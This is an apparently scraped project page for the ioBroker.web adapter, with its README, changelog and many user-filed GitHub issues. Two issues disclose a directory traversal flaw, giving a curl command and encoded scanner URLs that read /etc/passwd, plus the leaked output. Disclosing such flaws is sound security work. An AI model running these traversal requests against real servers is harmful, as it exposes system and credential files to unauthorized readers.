Giter VIP home page Giter VIP logo

iobroker.web's Introduction

Logo

ioBroker.web

Number of Installations Number of Installations NPM version

Test and Release Translation status Downloads

Web server on the base of Node.js and express to read the files from ioBroker DB.

This adapter uses Sentry libraries to automatically report exceptions and code errors to the developers. For more details and for information how to disable the error reporting see Sentry-Plugin Documentation! Sentry reporting is used starting with js-controller 3.0.

Tuning Web-Sockets

On some web-sockets clients, there is a performance problem with communication. Sometimes this issue is due to the fallback of socket.io communication on long polling mechanism. You can set the option Force Web-Sockets to force using only web-sockets transport.

Let's Encrypt Certificates

Read here

Extensions

Web driver supports extensions. The extension is URL handler, that will be called if such URL request appears. The extensions look like the normal adapter, but they have no running process and will be called by web server.

E.g., the user can activate a special proxy adapter and reach other devices (like webcams) in the same web server. It is required to let all services be available under one web server.

Web extension could and should support unload function, that could return promise if the unload action will take some time.

You can read more about web-extensions here.

Brute-force protection

If authentication is enabled and the user enters 5 times invalid password during one minute, he must wait at least one minute till next attempt. After the 15th wrong attempt, the user must wait 1 hour.

"Stay logged in" option

If this options is selected, the user stays logged in for one month. If not, the user will stay logged in for the configured "login timeout".

Access state's values

You can access the normal and binary state values via the HTTP get request.

http://IP:8082/state/system.adapter.web.0.alive =>
{"val":true,"ack":true,"ts":1606831924559,"q":0,"from":"system.adapter.web.0","lc":1606777539894}

or

http://IP:8082/state/javascript.picture.png =>
[IMAGE]

The image must be written in the javascript adapter like:

createState('javascript.0.picture.png', {type: 'file', name: 'Picture'}, () => {
    setBinaryState('javascript.0.picture.png', fs.readFileSync('/tmp/picture.png'));
});

"Basic Authentication" option

Allows Login via Basic Authentication by sending 401 Unauthorized with a WWW-Authenticate header. This can be used for applications like FullyBrowser. When entering the wrong credentials once, you will be redirected to the Login Page.

User list

You can define the list of users that can access the web server. You can change the access right for logged-in user.

If the user is not in the list, he cannot access the web server.

It is simpler as to set for every object and every state the access rights for the specific user.

Advanced options

Default redirect

If by opening of web port im browser no APP selection should be shown, but some specific application, the path could be provided here (e.g. /vis/) so this path will be opened automatically.

Changelog

6.3.0 (2024-06-27)

  • (bluefox) Corrected call of getObjectView with null parameter
  • (bluefox) updated packages
  • (bluefox) GUI was migrated to a non-style framework

6.2.6 (2024-05-25)

  • (bluefox) Preparations for a custom loading background
  • (bluefox) updated packages

6.2.5 (2024-02-22)

  • (bluefox) Just some packages were updates

6.2.4 (2024-02-17)

  • (klein0r) Extensions may block the web instance
  • (klein0r) Fixed directory listing

6.2.3 (2023-12-18)

  • (foxriver76) updated the websocket library to increase the maximum file size from 100 MB to 500 MB

6.2.2 (2023-12-14)

  • (joltcoke) Corrected the crash if authentication is enabled

6.2.1 (2023-12-04)

  • (bluefox) Added the user access list option

6.1.10 (2023-10-16)

  • (bluefox) Corrected the start screen

6.1.7 (2023-10-16)

  • (bluefox) Added the public accessibility check

6.1.6 (2023-10-13)

  • (bluefox) Corrected adapter termination if the alias has no target
  • (bluefox) Corrected socket.io connection

6.1.4 (2023-10-08)

  • (foxriver76) upgrade socketio and ws dependencies to fix a vis subscribe problem

6.1.3 (2023-09-28)

  • (bluefox) upgraded socketio and ws dependencies to correct the error by unsubscribing on client disconnect

6.1.2 (2023-09-14)

  • (foxriver76) upgraded socketio and ws dependencies

6.1.1 (2023-09-05)

  • (mcm1957) Added missing node16 requirement

6.1.0 (2023-08-01)

  • (bluefox) Added the subscribing on the specific instance messages

6.0.3 (2023-07-27)

  • (bluefox) Updated packages
  • (bluefox) Implemented the possibility to view folder content

6.0.1 (2023-03-20)

  • (bluefox) Removed letsencrypt handling from web adapter

5.5.3 (2023-03-17)

  • (bluefox) Increased max size of the uploaded file via socket.io to 200MB (from 10MB)

5.5.2 (2023-03-03)

  • (bluefox) Allowed deletion of fullcalendar objects

5.5.1 (2023-02-25)

  • (bluefox) Allowed reading projects of vis-2-beta

5.5.0 (2023-02-15)

  • (bluefox) Added special end-points for app authentication

5.4.3 (2023-01-29)

  • (bluefox) Corrected error with publishFileAll (for future use)

5.4.1 (2022-12-23)

  • (bluefox) Corrected GUI error

5.4.0 (2022-12-22)

  • (bluefox) Used a new version of socket classes

License

The MIT License (MIT)

Copyright (c) 2014-2024 Bluefox [email protected]

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

iobroker.web's People

Contributors

anzic23 avatar apollon77 avatar arteck avatar boergegrunicke avatar dependabot[bot] avatar dmtrsmkv avatar egon2020 avatar excodibur avatar foxriver76 avatar fredf63 avatar germanbluefox avatar instalator avatar jogibear9988 avatar johnnybyzhang avatar klein0r avatar ldittmar81 avatar lgtm-migrator avatar maag-da avatar mcm1957 avatar mischroe avatar nobodymo avatar paul53 avatar raintonr avatar schumyhao avatar scrounger avatar skb-cgn avatar sneak-l8 avatar unclesamswiss avatar zalash333 avatar zefau avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

iobroker.web's Issues

Security Issue: Directory Traversal Attack

I am using ioBroker.web current Version 2.1.9 with NodeJS 8.9.4 on Ubuntu Linux and discovered a vulnerability leading to unauthorized access to system files via directory traversal.
I was able to reproduce the issue by using a simple curl command:

curl --path-as-is http://[IOBROKER_IP]:8082/../../../../etc/passwd

This command would return the systems passwd file, should be working for any file though. As pretty much any file accessible by the user running iobroker (which is root in many cases) could be read using this attack, this might lead to loss of sensitive information as e.g. auth credentials for many adapters are stored in cleartext files in the filesystem.

different users don't work

Hi,
hab mehrere Benutzer angelegt, alle mit Admin - Rechten, damit ich verschiedene Views für Material und Habpanel machen kann.
Dazu mehrere Instanzen des Webadapters und lasse diese mit den verschiedenen Benutzern starten.
Leider interessiert das überhaupt nicht, alle bekommen die zuerst erzeugte View von Material/Habpanel angezeigt, ob sie wollen oder nicht.
Auch wenn die Authentifizierung einschalte, kommt das:

web.0 | 2018-09-26 21:20:30.357 | info | Allow states only when user is owner: false
web.0 | 2018-09-26 21:20:30.357 | info | Secure simpleAPI server listening on port 81
web.0 | 2018-09-26 21:20:30.230 | info | starting. Version 2.4.2 in /opt/iobroker/node_modules/iobroker.web, node: v8.11.4

Webadapter 2.4.2 ( war auch mit 2.4.1 so), Node 8.11.4, NPM 6.4.0, js-controller 1.4.2, Admin 3.5.10

Whitelist for vis

Hello, everybody,

I have a tablet on the wall. This tablet should be able to log in with a non admin user without logging in to vis.

Therefore I have entered the fixed IP of the tablet in the white list. Unfortunately this only works for the admin panel.

Can you check this?

3.0.12: Andorid App doesn't work any more

While the Browser-vis works with socketio 3.0.13, vis 1.2.9 and web 3.0.12, the iobroker Android app doesn't connect. The web adapter seems to be the issue, I dowgraded and everything works fine again.

when using (basic) auth, vis sometimes hangs indefinite in loading loop

Today after a reboot, my tablet on the wall was stuck inside the reconnection screen. Web logged Unknown user on every try: https://github.com/ioBroker/ioBroker.socketio/blob/0894573174452febec59dbb0eb5d1eee519b1b5c/lib/socket.js#L66 and thus
https://github.com/ioBroker/ioBroker.socketio/blob/0894573174452febec59dbb0eb5d1eee519b1b5c/lib/socket.js#L1753

Using basic auth, it may be that we also need to send

ioBroker.web/main.js

Lines 894 to 895 in 75f80bc

res.set('WWW-Authenticate', `Basic realm="Access to ioBroker web", charset="UTF-8"`);
return res.status(401).send('Basic Authentication has been aborted. You have to reload the page.');

when this occurs. However, currently, I don't know how to reproduce the behavior, it may depend on the configured ttl.

So probably just if basicAuth

webServer.io.on('reauthenticate', () => {

do

ioBroker.web/main.js

Lines 894 to 895 in 75f80bc

res.set('WWW-Authenticate', `Basic realm="Access to ioBroker web", charset="UTF-8"`);
return res.status(401).send('Basic Authentication has been aborted. You have to reload the page.');

How to correctly use common.webExtension needs documenting

I notice from looking at other adapters (ie. ioBroker.simple-api) that one can have code run inside the web server this ioBroker.web adapter starts.

However, this doesn't seem to be documented anywhere.

If developers are to use the features provided by this adapter correctly correct documentation should be supplied.

Anmeldung am iobroker.web ab V2.4.8 nicht mehr möglich

Nach dem Update von v2.4.6 auf v2.4.8 kann ich mich nicht mehr am iobroker.web anmelden:

  • Das betrifft nur web-Instanzen bei denen die Authentifikation aktiviert ist.
  • Mit dem User admin (system.user.admin) funktioniert die Anmeldung noch.
  • Kennwort im betroffenen User ändern hilft auch nicht.
  • Bei neu angelegten User funktioniert die Anmeldung.
    Der Änderungseintrag der 2.4.8 (2019-10-16) beschreibt eigentlich das Problem: (bluefox) Fixed login of non-admin user, Behebung scheint aber nicht zu greifen.

Ebenso ist mir aufgefallen, dass Hintergrundfarbe und Hintergrundbild nicht mehr angezeigt werden.

Versionen: js-controller: 1.5.14, node.js: V8.16.0, npm: V6.12, web.adapter v2.4.8

Gruß, Ralf

Warning: VIS File-Manager triggers: "readDir will not read this Directory"

Describe the bug
Calling the FileManager in VIS throws a warning in the Web.Adapter:

To Reproduce
Steps to reproduce the behavior:

  1. Go to 'Only Start the File-Manager in VIS.'
  2. Click on 'back, back'
  3. Scroll down to '....'

Expected behavior
A clear and concise description of what you expected to happen.

Screenshots & Logfiles
grafik

Versions:

  • Adapter version: <3.0.13>
  • JS-Controller version: <3.1.6>
  • Node version: <12.19.0>
  • Operating system: linux
  • VIS Adapter Version: <1.3.4>

Additional context
Add any other context about the problem here.

Verify Compact mode for your adapter

We have detected that your adapter supports the compact mode. Please use the latest js-controller 2.0 and verify that everything works.

Some more information what is important to check can be found at ioBroker/ioBroker.js-controller#512

On questions please answer to the linked issue. Please close this issue after your test and add the version number that you have tested please as a comment.

Thank you for your support.

error | (959) socket.io unknown user

Hi,

das Problem ist nach Neustart aufgetaucht.


web.0 | 2020-11-19 10:03:57.930 | error | (959) socket.io unknown user
-- | -- | -- | --
web.0 | 2020-11-19 10:03:57.889 | error | (959) socket.io unknown user
web.0 | 2020-11-19 10:03:47.914 | error | (959) socket.io unknown user
web.0 | 2020-11-19 10:03:47.906 | error | (959) socket.io unknown user
web.0 | 2020-11-19 10:03:37.911 | error | (959) socket.io unknown user
web.0 | 2020-11-19 10:03:37.884 | error | (959) socket.io unknown user
web.0 | 2020-11-19 10:03:27.891 | error | (959) socket.io unknown user
web.0 | 2020-11-19 10:03:27.883 | error | (959) socket.io unknown user
web.0 | 2020-11-19 10:03:17.905 | error | (959) socket.io unknown user
web.0 | 2020-11-19 10:03:17.898 | error | (959) socket.io unknown user
web.0 | 2020-11-19 10:03:07.922 | error | (959) socket.io unknown user
web.0 | 2020-11-19 10:03:07.892 | error | (959) socket.io unknown user

webserver: 3.0.14
scriptenginge: 4.8.4

Level ist auf Debug, keine weiteren Infos... im LOG

Danke

Options to disable various functions of web adapter

I notice these URLs are always served by every instance and unlike the authentication interface, CORS, etc. they cannot be disabled:

/state/*
*/_socket/info.js

Can anything malicious be done with the responses or by sending bogus requests that match these? I don't really know but strikes me there may be a chance this could become a security concern for any public facing instance.

Please either clarify these URLs are safe or add a configuration option to turn off handling of these paths.

Feature Request Add custom Links to specialScreen/ startpage

Ich fände es gut wenn man beliebige Seite auf die Startseite des WebAdapters hinzufügen könnte.

Z.B. das NodeRed Dashboard.

Scheinbar sind alle möglichen in der Variable specialScreens hinterlegt. Habe aber keine Ahnung wie man das erweitern kann.

Meldung "Connected system.user.admin" kommt sehr häufig im Log

web.0 2018-02-05 20:34:22.424 info 2018-02-05T19:34:22.424Z Connected system.user.admin
web.0 2018-02-05 20:34:21.801 info 2018-02-05T19:34:21.801Z Connected system.user.admin
web.0 2018-02-05 20:34:21.621 info 2018-02-05T19:34:21.621Z Connected system.user.admin
web.0 2018-02-05 20:33:41.675 info 2018-02-05T19:33:41.675Z Connected system.user.admin
web.0 2018-02-05 20:33:41.514 info 2018-02-05T19:33:41.514Z Connected system.user.admin
web.0 2018-02-05 20:33:41.362 info 2018-02-05T19:33:41.362Z Connected system.user.admin
web.0 2018-02-05 20:33:03.012 info 2018-02-05T19:33:03.012Z Connected system.user.admin
web.0 2018-02-05 20:33:02.530 info 2018-02-05T19:33:02.530Z Connected system.user.admin
web.0 2018-02-05 20:33:01.865 info 2018-02-05T19:33:01.865Z Connected system.user.admin
web.0 2018-02-05 20:32:21.530 info 2018-02-05T19:32:21.530Z Connected system.user.admin
web.0 2018-02-05 20:32:21.326 info 2018-02-05T19:32:21.326Z Connected system.user.admin
web.0 2018-02-05 20:32:21.091 info 2018-02-05T19:32:21.091Z Connected system.user.admin
web.0 2018-02-05 20:31:41.384 info 2018-02-05T19:31:41.384Z Connected system.user.admin
web.0 2018-02-05 20:31:41.271 info 2018-02-05T19:31:41.271Z Connected system.user.admin
web.0 2018-02-05 20:31:41.017 info 2018-02-05T19:31:41.017Z Connected system.user.admin
web.0 2018-02-05 20:31:03.179 info 2018-02-05T19:31:03.179Z Connected system.user.admin
web.0 2018-02-05 20:31:02.691 info 2018-02-05T19:31:02.690Z Connected system.user.admin
web.0 2018-02-05 20:31:01.256 info 2018-02-05T19:31:01.256Z Connected system.user.admin

adapter start unter bestimmten user

ich kann ur den adapter mit dem Admin user betreiben
grafik

wechsel ich auf einen anderen mit weniger Rechte läd die Visualisierung nicht

im Log hab ich auch keine Fehler (dev-tools)

Feature request: Add long running auth.

I have to enter username and password everytime when I want to access web adapters.
I think we can add a option that user can chose to save login info in his device.

This is not same as whitelist. This is give auth to some device.

web.0 socket.io Cannot detect user

bekomme seit kurzem die Error-Meldung web.0 Socket.io Cannot detect user

weiss nicht ob es an einem Update eines Adapters liegt oder nicht

habe 2 web instancen, 1 x mit https 1 x ohne
in web.0 ist https aktiv und integrierter Socket,
beim aufruf der Webseite kann ich mich anmelden und auch damit arbeiten
welche Daten werden noch benötigt
web0
socketio

`

web.0 2019-01-10 16:40:48.440 error socket.io Cannot detect user
web.0 2019-01-10 16:40:38.426 error socket.io Cannot detect user
web.0 2019-01-10 16:40:28.429 error socket.io Cannot detect user
web.0 2019-01-10 16:40:18.428 error socket.io Cannot detect user
web.0 2019-01-10 16:40:08.430 error socket.io Cannot detect user
web.0 2019-01-10 16:40:06.439 info ==>Connected system.user.admin from ::ffff:172.16.10.57
web.0 2019-01-10 16:39:58.429 error socket.io Cannot detect user
web.0 2019-01-10 16:39:48.430 error socket.io Cannot detect user
web.0 2019-01-10 16:39:38.430 error socket.io Cannot detect user
web.0 2019-01-10 16:39:28.430 error socket.io Cannot detect user
web.0 2019-01-10 16:39:18.432 error socket.io Cannot detect user
web.0 2019-01-10 16:39:08.432 error socket.io Cannot detect user
web.0 2019-01-10 16:38:58.429 error socket.io Cannot detect user
web.0 2019-01-10 16:38:48.430 error socket.io Cannot detect user
web.0 2019-01-10 16:38:38.430 error socket.io Cannot detect user
web.0 2019-01-10 16:38:28.431 error socket.io Cannot detect user
web.0 2019-01-10 16:38:18.429 error socket.io Cannot detect user
web.0 2019-01-10 16:38:08.430 error socket.io Cannot detect user
web.0 2019-01-10 16:37:58.431 error socket.io Cannot detect user
web.0 2019-01-10 16:37:48.430 error socket.io Cannot detect user
web.0 2019-01-10 16:37:38.432 error socket.io Cannot detect user
web.0 2019-01-10 16:37:28.431 error socket.io Cannot detect user
web.0 2019-01-10 16:37:18.431 error socket.io Cannot detect user
web.0 2019-01-10 16:37:08.431 error socket.io Cannot detect user
web.0 2019-01-10 16:36:58.430 error socket.io Cannot detect user
web.0 2019-01-10 16:36:48.430 error socket.io Cannot detect user

`

WebSocket connection failed : Invalid frame header

Ausgangssituation neue installation + web adapter + vis adapter
in verbindung mit eigenen zertifikaten

web.0 instanz Einstellung
grafik

jetzt eine neue web instanz dazu
web.1
grafik

die vis öffnen mit der web.0 instanz
grafik

ab hier geht der web Adapter auf die Bretter mit Fehler
im Chrome
Unbenannt

im FF wird die web.0 instanz abgeschossen mit Fehler im Log
grafik

Objekte-Graphik not working due to X-Frame-Options: SAMEORIGIN

Hello,
After performing an update all my modules to the latest versions, I was no longer able to view the graph trends from Flot on the admin web page.

In my browser debug was a fault message: Refused to display 'http://192....:8082/flot/index.html?range... in a frame because it set 'X-Frame-Options' to 'sameorigin'., furthermore, clicking on the link in the browsers fault message the graph is displayed.

The background is simple, the iobroker.web is running on port 8081 and the Flot is running on 8082 so the web page is not sourced from the same server, with the option in main.js 'X-Frame-Options SAMEORIGIN being active this is blocking the user from being able to see the graphs.

After commenting out the change made in main.js @ commit d43dbcdfd622a98c6a820527bfe8238cff51a4d0 the graphs are working again.

Please evaluate and update.
The same issue is open in the iobroker.history module but does not have to do with that module (in my opinion)

Cheers,
Rusty

Generic HTTP Directory Traversal

Hi, i did a scan of my network and found the following:

The following traversal URL(s) where found:

Vulnerable urls:
http://192.168.2.125:8082/..\..\..\..\..\..\etc/passwd
http://192.168.2.125:8082/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc/passwd
http://192.168.2.125:8082/%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\etc/passwd
http://192.168.2.125:8082/..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd


Request:
GET /..\..\..\..\..\..\etc/passwd HTTP/1.1 
Connection: Close 
Host: 192.168.2.125:8082 
Pragma: no-cache 
Cache-Control: no-cache 
User-Agent: Mozilla/5.0 [en] (X11, U; OpenVAS 9.0.1) 
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* 
Accept-Language: en 
Accept-Charset: iso-8859-1,*,utf-8 
 

Response:
HTTP/1.1 200 OK 
Content-Type: text/javascript; charset=utf-8 
Content-Length: 1650 
ETag: W/"672-znRgmc9sOgkYYXtm2Nb/wTozm3M" 
Date: Thu, 14 Jun 2018 09:21:02 GMT 
Connection: close 
 
 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
.
.
.

Feature request: in the connect log log name/type + IP's of connections

In info mode we see:

1 2 3 4
web.0 2017-07-07 15:55:09.562 info 2017-07-07T13:55:09.561Z Connected system.user.admin

logs which do not say which system was connecting to iobroker. I would love to see the client address which is connected and the type of connection.

It would be also great to disable logging of individual events, like flot in Vis because I am not interested in the 10 different flot requests but in the vis connection itself only.

web.0 nicht erreichbar

Seit dem Update heute morgen auf 2.4.4 ist der Webserver nicht mehr erreichbar.
Ich bekomme folgende Fehlermeldungen:
TypeError: server.api.checkRequest is not a function at server.app.use (/opt/iobroker/node_modules/iobroker.web/main.js:1019:42) at Layer.handle [as handle_request] (/opt/iobroker/node_modules/iobroker.web/node_modules/express/lib/router/layer.js:95:5) at trim_prefix (/opt/iobroker/node_modules/iobroker.web/node_modules/express/lib/router/index.js:317:13) at /opt/iobroker/node_modules/iobroker.web/node_modules/express/lib/router/index.js:284:7 at Function.process_params (/opt/iobroker/node_modules/iobroker.web/node_modules/express/lib/router/index.js:335:12) at next (/opt/iobroker/node_modules/iobroker.web/node_modules/express/lib/router/index.js:275:10) at next (/opt/iobroker/node_modules/iobroker.web/node_modules/express/lib/router/route.js:127:14) at server.app.get (/opt/iobroker/node_modules/iobroker.web/main.js:757:13) at Layer.handle [as handle_request] (/opt/iobroker/node_modules/iobroker.web/node_modules/express/lib/router/layer.js:95:5) at next (/opt/iobroker/node_modules/iobroker.web/node_modules/express/lib/router/route.js:137:13)
Ein Downgrade und Neustart haben nichts gebracht.
Gruß,
Mathias

Please check ioBroker.web with js-controller 2.0

Hi,

the new js-controller 2.0 will come into latest repository in the next days and we want to make sure that all adapters are working well. We already did a 2 weeks Beta test and so some adapter were aleady checked and some needed slight adjustments.

You can find more information in ioBroker/ioBroker.js-controller#482 and in the ioBroker Forum. If you have more technical questions please write in the referenced issue or in the Developer thread please. General questions are best in the genral thread.

Please update your systems to js-controller 2.0 and check your adapter.

Please close this issue once you have checked your adapter or received successfull reports from users.

Thank you very much for your support. Please contact us in the other Threads or Forum on any question.

iobroker-App auf Android läd keine Projekte mehr

Hallo zusammen

nach Update des iobroker.socketio und iobroker.web auf die 3.0.0 läd die IoBroker-App auf Android keine Projekte mehr und es kommt nur noch "Lade Werte". In der App auf Apple funktioniert alles weiter wie gewohnt. Nur in der App auf Android nicht. Und diese habe ich auf 2 Geräten installiert.
Bin daher wieder bei beiden auf die 2.X.X zurück, denn da funtioniert alles wie gewohnt.

login geht nicht wenn https und authentifizierung an

ich kann mich nicht gegen das System authentifizieren .. es werden zwar user psw abgefragt aber nicht erkannt .. es wird immer nur der Admin agezeigt...

im vis 2 widgets der eine ist mit Sichtbarkeit für Admin der andere Benutzer..
ich sehe nur den Admin obwohl der Benutzer angemeldet ist

Problem with included Socket.Io

I have, like millions of other users the problem that by using Vis on my Meditab M5 with Fully Browser the Vis-View is disconnected always from server if Tablet is going into standby or the Fully-Browser is going to background. Nothing has helped.
When doing screen on or moving Fully Browser to Foreground every time the reload sign from Vis was shown and it takes seconds till the vis view was refreshed - if he was refreshed!! Sometimes the shown data was old - or simply wrong - menas numberfields are showing up as NA.

After days of tests i have found out that the included Socket.io was the problem!

So i installed the socket.io adapter. In my Web.0 Instance in configuration i have chosen to use socketio.0.

Problem gone!

There are still some disconnects after some minutes but by powering screen on immidiatly the connection will be done and all numbers are up to date < 1 second.

Overall the responsetime is much faster then before.

Would be nice to fix that problem.

How to setup the adapter ?

I have iobroker on raspberry (ip address 192.168.0.xxx) connect to a router on another lan (192.168.1.xxx).
How to setting up the connection from another exsternal LAN outsite home ?
I have a web domain and static public IP.
How to configure let's encrypt (https)?
Is possible, for test only setting up and http unsecure connection from outside ?

Where Can I find a step by step guide to configure the external access ?

page reload in the background. reverse proxy.

there are two instances of the web adapter. One for local access without a password (web.0), and the other with authorization (web.1). When working through a direct ip address (web.0), you can open 2-3 tabs with iobroker (log, scripts, objects) without issue. when opening one tab via reverse proxy, it starts to reload if not in focus, usually after 5-10 minutes.
I noticed that the problem appeared relatively recently, it seems when updating on js-controller to version 3


System data:

Platform: linux
Distribution: Debian GNU/Linux
Architecture: x64
Model: Intel(R) Celeron(R) CPU G1610T @ 2.30GHz
RAM: 9.73 GB
Node.js: v12.16.2
NPM: 6.14.4
Model: ARMv7 Processor rev 4 (v7l)
RAM: 975.61 MB
Node.js: v12.16.2
NPM: 6.14.4
JS-Controller (1): 3.0.20
Admin: 4.1.1
WEB server: 3.0.8

created by ioBroker.info

Think about to fix the issues found by adapter checker

I am an automatic service that looks for possible errors in ioBroker and creates an issue for it. The link below leads directly to the test:

https://adapter-check.iobroker.in/?q=https://raw.githubusercontent.com/ioBroker/ioBroker.web

  • [E104] No common.title found in io-package.json
  • [E150] No common.connectionType found in io-package.json
  • [E152] No common.dataSource found in io-package.json
  • [E813] file src/ found in repository, but not found in .npmignore

Thanks,
your automatic adapter checker.

Testing Update to js-controller 3

Updated the js-controller to v3.

Log entry:

web.0 2020-04-08 20:13:51.342 warn (4725) adapter.objects.getObjectView is deprecated, and will be removed in the future. Please use adapter.getObjectView/Async. Report this to Developer!

web adapter without authentication does not work

I have installed the web adapter in version 2.4.4 and I am configured two web adapter instances. One with authentication (0.0.0.0:8083) and the other one without authentication (0.0.0.0:8084).
Since version 2.4.4. the instance without authentication does not work anymore (see screenshots)
The logfile is empty. I am using js-controller 2.0.25.

configuration:
Bildschirmfoto 2019-10-11 um 15 38 01

Result by calling the web adapter
Bildschirmfoto 2019-10-11 um 15 38 28

I installed now the version 2.4.0 again. With this version, both instances work.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.